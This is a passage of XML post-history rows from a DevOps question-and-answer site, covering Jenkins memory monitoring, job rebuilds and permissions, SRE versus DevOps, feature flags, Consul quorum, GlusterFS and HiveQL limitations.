https://www.metatrader5.com/en/download&#xD;&#xA;    - curl -sLo http://www.autohotkey.com/download/AutoHotkey104805.zip&#xD;&#xA;    - unzip *.zip&#xD;&#xA;    before_test:&#xD;&#xA;    - dir&#xD;&#xA;    test_script:&#xD;&#xA;    - AutoHotkey.exe install.ahk&#xD;&#xA;    build: off&#xD;&#xA;    platform: x86&#xD;&#xA;&#xD;&#xA;where `install.ahk` is the file to contain above AHK script which can be dynamically generated or downloaded from some repository.&#xD;&#xA;&#xD;&#xA;  [1]: https://autohotkey.com/&#xD;&#xA;  [2]: https://github.com/Winetricks/winetricks/blob/master/src/winetricks" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostHistoryTypeId="2" PostId="173" RevisionGUID="5844d233-a332-4ebf-84bb-092443e30f10" CreationDate="2017-03-01T14:08:25.377" UserId="3" Text="In Jenkins when clicking on *Build Executor Status* I can only see free disk space related statistics (URI: `/computer`). How I can monitor free system memory (RAM) in Jenkins?&#xD;&#xA;&#xD;&#xA;I'm asking, because sometimes when I had too many executors (despite having swap space configured, but not the one below), Jenkins was freezing or crashing a lot.&#xD;&#xA;&#xD;&#xA;[![Jenkins at /computer - Name, Architecture, Clock Difference, Free Disk Space, Free Swap Space, Free Temp Space, Response Time][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/OcgtS.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="464" PostHistoryTypeId="1" PostId="173" RevisionGUID="5844d233-a332-4ebf-84bb-092443e30f10" CreationDate="2017-03-01T14:08:25.377" UserId="3" Text="How to check Jenkins build executor free memory?" ContentLicense="CC BY-SA 3.0" />
  <row Id="465" PostHistoryTypeId="3" PostId="173" RevisionGUID="5844d233-a332-4ebf-84bb-092443e30f10" CreationDate="2017-03-01T14:08:25.377" UserId="3" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="466" PostHistoryTypeId="2" PostId="174" RevisionGUID="6eae9417-9334-4ae7-a77e-77a25465bbc1" CreationDate="2017-03-01T14:08:25.377" UserId="3" Text="As for workaround, the actual memory can be checked by invoking Groovy commands directly in *Script Console* (at `/computer/(master)/script`). Example command:&#xD;&#xA;&#xD;&#xA;    println &quot;free -m&quot;.execute().text" ContentLicense="CC BY-SA 3.0" />
  <row Id="467" PostHistoryTypeId="5" PostId="121" RevisionGUID="214ac312-a6cd-42a9-bd7d-773c456daba4" CreationDate="2017-03-01T14:08:47.547" UserId="228" Comment="added 46 characters in body" Text="**Site Reliability Engineering** falls under more or less traditional operations, but heavily automated and version controlled, what is also called *Infrastructure as Code*. It is a defined **vertical role**. You can have a team of SRE. &#xD;&#xA;&#xD;&#xA;**DevOps** is a cultural change for an organization. It is a loosely defined **horizontal role** binding several teams together, ensuring that work passes smoothly and quickly throughout the organization. You cannot have a team of DevOps engineers, that is an oxymoron.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostHistoryTypeId="2" PostId="175" RevisionGUID="1b7e24e7-3a4a-45e1-b3c1-20a91e99acdf" CreationDate="2017-03-01T14:13:36.343" UserId="3" Text="I'm using Jenkins [Rebuild Plugin][1] to execute a parametrized builds with a single *Rebuild* button. However when I need to rerun dozens of parametrized jobs (either selected, or from the same folder), it's still not efficient.  &#xD;&#xA;&#xD;&#xA;Is there any simpler way (eventually using different plugin) to re-run multiple jobs at the same time using the last used parameters?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Rebuild+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="469" PostHistoryTypeId="1" PostId="175" RevisionGUID="1b7e24e7-3a4a-45e1-b3c1-20a91e99acdf" CreationDate="2017-03-01T14:13:36.343" UserId="3" Text="How to rebuild multiple jobs at the same time in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="470" PostHistoryTypeId="3" PostId="175" RevisionGUID="1b7e24e7-3a4a-45e1-b3c1-20a91e99acdf" CreationDate="2017-03-01T14:13:36.343" UserId="3" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="471" PostHistoryTypeId="5" PostId="121" RevisionGUID="93ccd003-4c06-4e7d-bab7-511c451afedf" CreationDate="2017-03-01T14:14:03.723" UserId="228" Comment="added a link" Text="**Site Reliability Engineering** falls under more or less traditional operations, but heavily automated and version controlled, what is also called [Infrastructure as Code][1]. It is a well defined **vertical role**. You can have a team of SRE. In modern DevOps this is the vertical slice that relates to Operations.&#xD;&#xA;&#xD;&#xA;**DevOps** as such is a cultural change for an organization. For an engineer it is a loosely defined **horizontal role** binding several teams together, ensuring that work passes smoothly and quickly throughout the organization. You cannot have a team of DevOps engineers, that is an oxymoron.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostHistoryTypeId="5" PostId="17" RevisionGUID="545eb5c6-90b0-4aeb-aa79-12a054994496" CreationDate="2017-03-01T14:22:55.630" UserId="3" Comment="Clarifies question." Text="I'd like to download an artifact file from Jenkins CI (e.g. file from the latest successful job) from a remote system. How can I do it? Do I need a plugin to do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostHistoryTypeId="4" PostId="17" RevisionGUID="545eb5c6-90b0-4aeb-aa79-12a054994496" CreationDate="2017-03-01T14:22:55.630" UserId="3" Comment="Clarifies question." Text="How do you fetch a Jenkins job's artifacts from a remote system?" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostHistoryTypeId="2" PostId="176" RevisionGUID="404168f4-35f2-4c80-8577-d8a5ead43882" CreationDate="2017-03-01T14:26:30.433" UserId="3" Text="The public URLs of artifacts can be found in Workspace of the job. It is advised to use ***view*** version of URL, so it is more consistent.&#xD;&#xA;&#xD;&#xA;For archived files, [Archived Artifact Url Viewer][1] can provide URL to a file inside a zip or jar archive within the artifact folder of a build&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Archived+Artifact+Url+Viewer+PlugIn" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostHistoryTypeId="6" PostId="47" RevisionGUID="ef56fb03-1d97-4c7d-9d8a-f598fb7cd1fb" CreationDate="2017-03-01T14:29:40.210" UserId="3" Comment="Adds tag." Text="&lt;jenkins&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="476" PostHistoryTypeId="6" PostId="21" RevisionGUID="4e2c295e-9893-48a2-afbd-6b48a71d6343" CreationDate="2017-03-01T14:30:14.403" UserId="3" Comment="edited tags" Text="&lt;jenkins&gt;&lt;backup&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="478" PostHistoryTypeId="2" PostId="177" RevisionGUID="ccaf6da1-9eae-4a0e-bfe9-c12dcb528e1e" CreationDate="2017-03-01T14:44:28.347" UserId="3" Text="There are 4 type of user permissions in Jenkins:&#xD;&#xA;&#xD;&#xA;- Open&#xD;&#xA;&#xD;&#xA;  Jenkins is accessible for everyone with no permissions. Basically anyone can do anything. This should be used for internal use only.&#xD;&#xA;&#xD;&#xA;- User authentication (all admins)&#xD;&#xA;&#xD;&#xA;  All users are admins. The authentication method can use Jenkins’ own user database, LDAP. Unix user/group database or other authentication plugins. This can be used when there is no need to restrict users from doing certain actions.&#xD;&#xA;&#xD;&#xA;- [Matrix based security][1]&#xD;&#xA;&#xD;&#xA;  This is a global permission per role/group security strategy where each user where permissions are associated with groups to which users belong to. This is the most common authorization to use for multiple users.&#xD;&#xA;&#xD;&#xA;- Project based matrix&#xD;&#xA;&#xD;&#xA;  It is authorization strategy where user permissions can be configured per individual jobs. Once activated, permission matrix can be activated on each job page. Useful when specific jobs shouldn't be accessed by certain users.&#xD;&#xA;&#xD;&#xA;Related page: [Securing Jenkins - Access Control][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Matrix-based+security&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/Securing+Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="479" PostHistoryTypeId="5" PostId="134" RevisionGUID="c1d1ea62-9fa9-4bb3-abed-48a2ee0e1bc3" CreationDate="2017-03-01T14:50:36.587" UserId="242" Comment="added 808 characters in body" Text="My team and I are responsible for developing &quot;one-offs&quot;, products that once finished are given to the client for upkeep or in some cases managed by us for a fee. &#xD;&#xA;&#xD;&#xA;We still need to maintain a solid development pipeline to handle the constant feedback from our clients in order to ensure that we ship them something reliable and proven to run. &#xD;&#xA;&#xD;&#xA;While the client doesn't care about DevOps (in most cases), it is still helpful for us. With DevOps, we can rapidly push new builds, so clients can see feedback in minutes not hours, and we are also able to catch any errors/bugs with our testing via Jenkins/Travis. &#xD;&#xA;&#xD;&#xA;To ensure our deployment strategies are the same across projects, we focus on containerizing our applications. Using Docker, we are able to easily hand off the application to our clients.&#xD;&#xA;&#xD;&#xA;The cost saved by DevOps is hard to determine. We do have extra costs in the form of software we choose to use for the pipeline (Travis, Jenkins, Puppet, what have you), but we also save time and money by fixing bugs/ giving the clients feedback quickly. Our quick response time keeps our customers happy, in turn, keeping our wallets happy.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="480" PostHistoryTypeId="2" PostId="178" RevisionGUID="02c8e27c-0e45-4560-838f-7060c47a1896" CreationDate="2017-03-01T14:53:17.257" UserId="271" Text="Because you mention [tag:waterfall], I understand that the numerous branches you are alluding to are [tag:feature-branch]es rather than [tag:maintenance-branches].&#xD;&#xA;&#xD;&#xA;In this setup, I also assume that these branches are created according to a waterfall plan that tries to minimise conflicts.  This implies that the goal of the development is to produce several distinct [tag:products].  When using a single-branch development model, it is important to also work on a single product. If several products are simultaneously developed in a single-branch development model, it effectively “glues” together versions of theses products, so that we might have in version *a* of the repository a healthy product *X* and a buggy product *Y*, while in version *b* the product *X* has a regression and *Y* a bug fix, but we have no version where both *X* and *Y* are healthy.  Such a situation would force us to consider *X* and *Y* as being developed in distinct repositories, which is a hint that they should be.&#xD;&#xA;&#xD;&#xA;Therefore, the first steps should [perform a repository split](https://devops.stackexchange.com/questions/171/how-to-achieve-a-smooth-transition-from-the-one-big-vcs-repository-for-all-prod):&#xD;&#xA;&#xD;&#xA;1. Arrange the repository so that it is easy to split it in several small repositories. For instance, rearrange current repository so that each top-level directory correspond to a repository you want to split in the future. Doing so, you can continue to use the *branch-spaghetti* discipline everybody is familiar with.&#xD;&#xA;&#xD;&#xA;2. When step 1 is completed, refine the *branch-spaghetti* discipline by requiring that any single branch can only touch files in a some top-level directory.&#xD;&#xA;&#xD;&#xA;3. When each branch comply to 2, perform the split. Developer can easily convert their not committed changes to patch affecting one repository, just by removing the first-level of the path.&#xD;&#xA;&#xD;&#xA;Now that the split has been performed, you can start working on the branch discipline itself.&#xD;&#xA;&#xD;&#xA;4. Introduce programming techniques helping the development of short-lived branches. Branches being short-lived is a crucial aspect of all single-branch methodologies. One of their goals is to reduce the time spent on merging and debugging long-lived branches. A popular technique is the introduction of “feature-flags” where a “factory” uses a configuration flag to either produce the historic version of an object or the new, initially partially developed, version of that object.&#xD;&#xA;&#xD;&#xA;5. By now, you have zillions of repositories with only a few branches in each, and you can turn the “we globally adopt the trunk-based development discipline” button, without seeing the original *branch-spaghetti* mountain collapsing on the trunk.&#xD;&#xA;&#xD;&#xA;The actual split of repositories might be optional but you would then have to adopt policies that cleanly delineate the allowed scope of each submitted patch to limit the risk of conflicts when merging changes in the main branch. Reducing the overhead bound to conflicts is one of the goals of single-branch model methodologies, so I assume this is relevant in your context." ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostHistoryTypeId="5" PostId="121" RevisionGUID="edf78cae-c93d-4eaa-ac1f-4192e7e802a4" CreationDate="2017-03-01T14:55:02.203" UserId="228" Comment="added 295 characters in body" Text="**Site Reliability Engineering** falls under more or less traditional operations, but heavily automated and version controlled, what is also called [Infrastructure as Code][1]. It is a well defined **vertical role**. In modern DevOps this is the vertical slice that relates to Operations. You can have a team of SRE.&#xD;&#xA;&#xD;&#xA;**DevOps** as such is a cultural change for an organization. In addition to the vertical, top down, management structure, it creates a horizontal connection between the teams along the [delivery][2] paths of work throughout the [value chains][3]. For an engineer it is a loosely defined **horizontal role** binding several teams together, ensuring that work passes smoothly and quickly throughout the organization. You cannot have a team of DevOps engineers, that is an *oxymoron*, as spanning the team boundaries is a crucial part of the role.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Infrastructure_as_Code&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Value_chain" ContentLicense="CC BY-SA 3.0" />
  <row Id="482" PostHistoryTypeId="2" PostId="179" RevisionGUID="25c9e686-f432-4fbe-821b-35b48e1d89ea" CreationDate="2017-03-01T15:08:19.913" UserId="228" Text="You can use a [pipeline][1] to tie the jobs together, executing them either in parallel or sequentially through steps. You can pass the relevant parameters to each job as you call it from the pipeline script. Then you just need to rebuild a single pipeline job. You can tie the jobs together with a common build name through a variable as well.&#xD;&#xA;&#xD;&#xA;&gt; build job: 'buildjob1', parameters: [&#xD;&#xA;&gt; [$class: 'StringParameterValue', name: 'BUILD_NAME', value: &quot;${env.JOB_BASE_NAME}-${env.BUILD_NUMBER}&quot;], &#xD;&#xA;&gt; [$class: 'StringParameterValue', name: 'FIXEDPARAM', value: 'some-string'],&#xD;&#xA;&gt; [$class: 'StringParameterValue', name: 'PARAM1', value: &quot;${PARAM1}&quot;]&#xD;&#xA;&gt; ]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/" ContentLicense="CC BY-SA 3.0" />
  <row Id="483" PostHistoryTypeId="5" PostId="179" RevisionGUID="ce053d43-5f47-400b-83cc-984e7c71efd2" CreationDate="2017-03-01T15:12:42.387" UserId="13" Comment="Code block for the job example, easier to read. Added some line feed for ease of reading." Text="You can use a [pipeline][1] to tie the jobs together, executing them either in parallel or sequentially through steps.  &#xD;&#xA;You can pass the relevant parameters to each job as you call it from the pipeline script.  &#xD;&#xA;Then you just need to rebuild a single pipeline job. You can tie the jobs together with a common build name through a variable as well.&#xD;&#xA;&#xD;&#xA;    build job: 'buildjob1', parameters: [&#xD;&#xA;      [$class: 'StringParameterValue', name: 'BUILD_NAME', value: ${env.JOB_BASE_NAME}-${env.BUILD_NUMBER}&quot;], &#xD;&#xA;      [$class: 'StringParameterValue', name: 'FIXEDPARAM', value: 'some-string'],&#xD;&#xA;      [$class: 'StringParameterValue', name: 'PARAM1', value: &quot;${PARAM1}&quot;]&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostHistoryTypeId="24" PostId="179" RevisionGUID="ce053d43-5f47-400b-83cc-984e7c71efd2" CreationDate="2017-03-01T15:12:42.387" Comment="Proposed by 13 approved by 228 edit id of 43" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostHistoryTypeId="2" PostId="180" RevisionGUID="9d424173-c65d-45ac-8229-6302b4ca2dbf" CreationDate="2017-03-01T15:30:50.910" UserId="271" Text="Feature flags are an engineering device that can be used to avoid long-lived branch and conflicts in product development.  Here is how it can be used the context of an object-oriented language to help developers collaborate on a specific product feature while one handle a new version. This solution can also be used in non object-oriented contexts, provided a notion of “interface” exists. (*cf.* OCaml module system.)&#xD;&#xA;&#xD;&#xA;For the purpose of illustration, we assume a tool presenting reports about data stored in a database. The code implements a *DatabaseClient* class used to perform requests. As the dataset grows, it becomes clear that some alternative data layout would improve the application performance. Therefore *Alice* will develop a new version of the *DatabaseClient* able to retrieve data from the structures with improved layout, while *Bob* will maintain the historical *DatabaseClient*.&#xD;&#xA;&#xD;&#xA;With the following steps, Alice and Bob can collaborate on short-lived branches while minimising their conflicts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; 1. *Alice* rename *DatabaseClient* to *DatabaseClient_v1* and create a delegate class called *DatabaseClient* that uses an object *DatabaseClient_v1* and implements an interface called *DatabaseClientInterface.* (If possible, this *DatabaseClientInterface* should be a code artefact but duck-typed languages not always support this.)&#xD;&#xA;&#xD;&#xA; 2. Bob reviews changes made by Alice in 1 and is aware that his maintenance job should happen on *DatabaseClient_v1*.&#xD;&#xA;&#xD;&#xA; 3. Alice introduces a new configuration flag in the application that governs the behaviour of the *DatabaseClient* delegate and implements a *DatabaseClient_v2* placeholder, a class implementing the *DatabaseClientInterface* whose methods all throw a “Not implemented” exception.&#xD;&#xA;&#xD;&#xA;After this, Alice and Bob can collaborate without explicit synchronisation, because code written in their respective iterations is subject to the *DatabaseClientInterface*. This minimises the risk of a conflict resulting from their concurrent work.&#xD;&#xA;&#xD;&#xA;Iterations from Alice can be very short, like implementing a test, implementing a method, or even partially doing so, because in production, the code is not selected for use and does not need to be fully functional. The automated testsuite should be configured so that the *DatabaseClientInterface* always uses *DatabaseClient_v1* while Alice can easily toggle to *DatabaseClient_v2* when running the testsuite locally – or in a custom CI setup. Once everything is ready, a single commit can perform the change, by updating the configuration value governing the  *DatabaseClient* delegate." ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostHistoryTypeId="2" PostId="181" RevisionGUID="1d1cce63-7fbe-4022-88dd-aa42d3ade5ed" CreationDate="2017-03-01T15:53:24.700" UserId="3" Text="What happens when one of the storage brick goes down (HDD failure), how does GlusterFS deal with data recover? Is the stored data still safe?" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostHistoryTypeId="1" PostId="181" RevisionGUID="1d1cce63-7fbe-4022-88dd-aa42d3ade5ed" CreationDate="2017-03-01T15:53:24.700" UserId="3" Text="How efficiently GlusterFS deals with failures?" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostHistoryTypeId="3" PostId="181" RevisionGUID="1d1cce63-7fbe-4022-88dd-aa42d3ade5ed" CreationDate="2017-03-01T15:53:24.700" UserId="3" Text="&lt;storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostHistoryTypeId="2" PostId="182" RevisionGUID="551900ea-a6e5-4a80-83e1-c16dd74ad029" CreationDate="2017-03-01T15:59:47.083" UserId="246" Text="We have auto-scaling Docker environments in which we use Consul for service discovery. These environments can add or remove one instance every few minutes.&#xD;&#xA;&#xD;&#xA;Our early Consul testing showed that it was very easy for Consul to loose its quorum. Perhaps naively, our very first experimentation was a setup in which we would start a Consul server on all instances and have that Consul server join the cluster. That part was working fine.&#xD;&#xA;&#xD;&#xA;However, Consul does not reap unreachable nodes quickly (it take about 72 hours?) in a very scalable environments that means that the list of Consul servers keeps growing and over time, most of them are &quot;unreachable&quot; and at that point, the cluster loses its quorum.&#xD;&#xA;&#xD;&#xA;We've seen armon's response from almost two years ago on this issue on GitHub: https://github.com/hashicorp/consul/issues/454#issuecomment-125767550&#xD;&#xA;&#xD;&#xA;&gt; Most of these problems are caused by our default behavior of&#xD;&#xA;&gt; attempting a graceful leave. Our mental model is that servers are long&#xD;&#xA;&gt; lived and don't shutdown for any reason other than unexpected power&#xD;&#xA;&gt; loss, or a graceful maintenance in which case you need to leave the&#xD;&#xA;&gt; cluster. In retrospect that was a bad default. Almost all of this can&#xD;&#xA;&gt; be avoided by just kill -9 the Consul server, in affect simulating&#xD;&#xA;&gt; power loss.&#xD;&#xA;&#xD;&#xA;We were trying to avoid running dedicated, long-lived nodes. Keep in mind that at no point, we remove N/2+1 instances from an auto-scaling group. The EC2 cluster is able at any point in time to reach most of the nodes and should be able to vote whether a node should be removed from the Consul (or other tool) cluster.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostHistoryTypeId="1" PostId="182" RevisionGUID="551900ea-a6e5-4a80-83e1-c16dd74ad029" CreationDate="2017-03-01T15:59:47.083" UserId="246" Text="How to manage Consul and its quorum in auto-scaling environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="491" PostHistoryTypeId="3" PostId="182" RevisionGUID="551900ea-a6e5-4a80-83e1-c16dd74ad029" CreationDate="2017-03-01T15:59:47.083" UserId="246" Text="&lt;autoscaling&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostHistoryTypeId="2" PostId="183" RevisionGUID="8e768fa3-9c33-4db2-ba7a-795c3ae5a314" CreationDate="2017-03-01T16:04:13.947" UserId="3" Text="I'm aware that [Apache Hive][1] provides SQL-like interface to query stored data. So I would like to ask, what are the main limitation of Hive-based SQL-like compared to other relational SQL query languages (such as MySQL)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Apache_Hive" ContentLicense="CC BY-SA 3.0" />
  <row Id="493" PostHistoryTypeId="1" PostId="183" RevisionGUID="8e768fa3-9c33-4db2-ba7a-795c3ae5a314" CreationDate="2017-03-01T16:04:13.947" UserId="3" Text="What are HQL limitations compared to SQL?" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostHistoryTypeId="3" PostId="183" RevisionGUID="8e768fa3-9c33-4db2-ba7a-795c3ae5a314" CreationDate="2017-03-01T16:04:13.947" UserId="3" Text="&lt;sql&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="495" PostHistoryTypeId="5" PostId="181" RevisionGUID="e04165d9-0293-4caa-a7f7-9e802c1d0a47" CreationDate="2017-03-01T16:04:22.043" UserId="14" Comment="Grammar and pluralisation" Text="What happens when one of the storage bricks goes down (HDD failure), how does GlusterFS deal with data recover? Is the stored data still safe?" ContentLicense="CC BY-SA 3.0" />
  <row Id="496" PostHistoryTypeId="4" PostId="181" RevisionGUID="e04165d9-0293-4caa-a7f7-9e802c1d0a47" CreationDate="2017-03-01T16:04:22.043" UserId="14" Comment="Grammar and pluralisation" Text="How efficiently does GlusterFS deal with failures?" ContentLicense="CC BY-SA 3.0" />
  <row Id="497" PostHistoryTypeId="24" PostId="181" RevisionGUID="e04165d9-0293-4caa-a7f7-9e802c1d0a47" CreationDate="2017-03-01T16:04:22.043" Comment="Proposed by 14 approved by 3 edit id of 44" ContentLicense="CC BY-SA 3.0" />
  <row Id="498" PostHistoryTypeId="2" PostId="184" RevisionGUID="7dc1e6e8-66b0-4181-9c3a-dbe15c0f13e5" CreationDate="2017-03-01T16:05:29.910" UserId="341" Text="Yes, you can use the AWS SDK to store objects within google storage. &#xD;&#xA;&#xD;&#xA;More on the simple migration to google storage can be found here:&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/storage/docs/migrating" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostHistoryTypeId="5" PostId="70" RevisionGUID="7bdee7ba-ff26-4433-bf59-1f6fa59dfe02" CreationDate="2017-03-01T16:07:23.987" UserId="14" Comment="added 195 characters in body" Text="Wikipedia's article on [serverless computing](https://en.wikipedia.org/wiki/Serverless_computing) provides a decent introduction to the topic:&#xD;&#xA;&#xD;&#xA;&gt; Serverless computing, also known as function as a service (FaaS), is a cloud computing code execution model in which the cloud provider fully manages starting and stopping of a function's container platform as a service (PaaS) as necessary to serve requests, and requests are billed by an abstract measure of the resources required to satisfy the request, rather than per virtual machine, per hour.&#xD;&#xA;&#xD;&#xA;The idea is that a developer **shouldn't need to care about the server infrastructure at all**. The cloud provider manages the physical servers, the operating system used and all the traditional difficulties involved with running a server.&#xD;&#xA;&#xD;&#xA;Serverless computing changes your architecture from thinking about what **machines** are doing to what **functions** are doing. [AWS Lambda](https://aws.amazon.com/lambda/) is the example that comes to mind - you pay for and run **functions**, without any mention about what type of physical infrastructure is running below. There are also competing serverless hosts such as [Azure Functions](https://azure.microsoft.com/en-gb/services/functions/) (or you can simply search if you're not interested in either of those).&#xD;&#xA;&#xD;&#xA;There are quite a few advantages to serverless (although you do need to write in a slightly different way than you're used to in some cases, because it's a totally different architecture):&#xD;&#xA;&#xD;&#xA;- Scalability essentially comes for free - because you're just paying to run a function, the cloud provider can easily dedicate more hardware as needed to run your code.&#xD;&#xA;&#xD;&#xA;- The server software and hardware no longer needs to be managed by a developer - the cloud provider handles that. If you've ever used something like Arch on a server, you'll know how easy it is to wipe out a critical package and break everything!&#xD;&#xA;&#xD;&#xA;- It frees up developers to focus on what they're good at - **code**. Most developers probably won't be great at both server infrastructure **and** programming - serverless just takes one problem out of the equation.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostHistoryTypeId="2" PostId="185" RevisionGUID="21c0864a-d30d-413b-8e94-e9667f17abd4" CreationDate="2017-03-01T16:09:50.427" UserId="13" Text="I would set the `leave_on_terminate` option to true. As per the [documentation](https://www.consul.io/docs/agent/options.html#leave_on_terminate)&#xD;&#xA;&#xD;&#xA;&gt; `leave_on_terminate` If enabled, when the agent receives a TERM signal,&#xD;&#xA;&gt; it will send a Leave message to the rest of the cluster and gracefully&#xD;&#xA;&gt; leave. The default behavior for this feature varies based on whether&#xD;&#xA;&gt; or not the agent is running as a client or a server (prior to Consul&#xD;&#xA;&gt; 0.7 the default value was unconditionally set to false). On agents in client-mode, this defaults to true and for agents in server-mode, this&#xD;&#xA;&gt; defaults to false.&#xD;&#xA;&#xD;&#xA;What happens when a node is shutdown gracefully is to send SIGTERM to all processes before shutdown, with this setting on the consul agent will leave the cluster so it won't be considered as a node which can restart and be back in the cluster in a few hours (which is what your quote says it does by default)." ContentLicense="CC BY-SA 3.0" />
  <row Id="501" PostHistoryTypeId="5" PostId="184" RevisionGUID="982c6bb0-0b81-4d2f-9968-e1a230b98b87" CreationDate="2017-03-01T16:17:28.970" UserId="341" Comment="added 144 characters in body" Text="Yes, you can use the AWS SDK to store objects within google storage. &#xD;&#xA;&#xD;&#xA;More on the simple migration to google storage can be found here:&#xD;&#xA;&#xD;&#xA;https://cloud.google.com/storage/docs/migrating&#xD;&#xA;&#xD;&#xA;I don't think the down voting was warranted, the answer is correct and the reference listed informs the OP about using the sdk for the task." ContentLicense="CC BY-SA 3.0" />
  <row Id="502" PostHistoryTypeId="2" PostId="186" RevisionGUID="c0ba0949-8fd2-467a-af23-0886a12c8026" CreationDate="2017-03-01T16:18:17.333" UserId="14" Text="Note that Apache Hive uses [*HiveQL*](https://en.wikipedia.org/wiki/Apache_Hive#HiveQL), not [HQL](https://docs.jboss.org/hibernate/orm/3.3/reference/en/html/queryhql.html), the Hibernate Query Language, which is entirely different.&#xD;&#xA;&#xD;&#xA;The [Wikipedia page for HiveQL](https://en.wikipedia.org/wiki/Apache_Hive#HiveQL) provides a brief summary of the differences:&#xD;&#xA;&#xD;&#xA;&gt; While based on SQL, HiveQL does not strictly follow the full SQL-92 standard. HiveQL offers extensions not in SQL, including multitable inserts and create table as select, but only offers basic support for indexes. Also, HiveQL lacks support for transactions and materialized views, and only limited subquery support. Support for insert, update, and delete with full ACID functionality was made available with release 0.14.&#xD;&#xA;&#xD;&#xA;&gt; Internally, a compiler translates HiveQL statements into a directed acyclic graph of MapReduce, Tez, or Spark jobs, which are submitted to Hadoop for execution.&#xD;&#xA;&#xD;&#xA;One of the biggest limitations is with transactions, [as documented in their wiki](https://cwiki.apache.org/confluence/display/Hive/Hive+Transactions#HiveTransactions-Limitations) - it appears that [ACID semantics](https://en.wikipedia.org/wiki/ACID) have been added recently, so the support is not quite as mature as it would be in a typical RDBMS like MySQL.&#xD;&#xA;&#xD;&#xA;Hortonworks have also published a [cheat sheet for converting SQL to HiveQL](http://hortonworks.com/wp-content/uploads/2016/05/Hortonworks.CheatSheet.SQLtoHive.pdf) - it looks pretty useful for determining the differences between Hive and a normal RDBMS, although it does appear to be slightly outdated (it talks about v0.10 and v0.11, when the latest release as of March 2017 is 2.1.1).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="503" PostHistoryTypeId="4" PostId="183" RevisionGUID="fca159b4-9382-4b2e-95eb-ce4d752f95e6" CreationDate="2017-03-01T16:22:36.393" UserId="3" Comment="Corrects title." Text="What are HiveQL limitations compared to SQL?" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostHistoryTypeId="5" PostId="177" RevisionGUID="c6c9b549-bfba-4248-a287-0dad1d854ef1" CreationDate="2017-03-01T16:25:17.667" UserId="3" Comment="Expands a bit" Text="There are 4 type of user permissions in Jenkins:&#xD;&#xA;&#xD;&#xA;- Open&#xD;&#xA;&#xD;&#xA;  Jenkins is accessible for everyone with no permissions. Basically anyone can do anything. This should be used for internal use only.&#xD;&#xA;&#xD;&#xA;- User authentication (all admins)&#xD;&#xA;&#xD;&#xA;  All users are admins. The authentication method can use Jenkins’ own user database, LDAP, Unix user/group database, servelet container (e.g. Tomcat or Glassfish user DB) or other authentication plugins. This can be used when there is no need to restrict users from doing certain actions.&#xD;&#xA;&#xD;&#xA;- [Matrix based security][1]&#xD;&#xA;&#xD;&#xA;  This is a global permission per role/group security strategy where each user where permissions are associated with groups to which users belong to. This is the most common authorization to use for multiple users.&#xD;&#xA;&#xD;&#xA;- Project based matrix&#xD;&#xA;&#xD;&#xA;  It is authorization strategy where user permissions can be configured per individual jobs. Once activated, permission matrix can be activated on each job page. Useful when specific jobs shouldn't be accessed by certain users.&#xD;&#xA;&#xD;&#xA;Related page: [Securing Jenkins - Access Control][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Matrix-based+security&#xD;&#xA;  [2]: 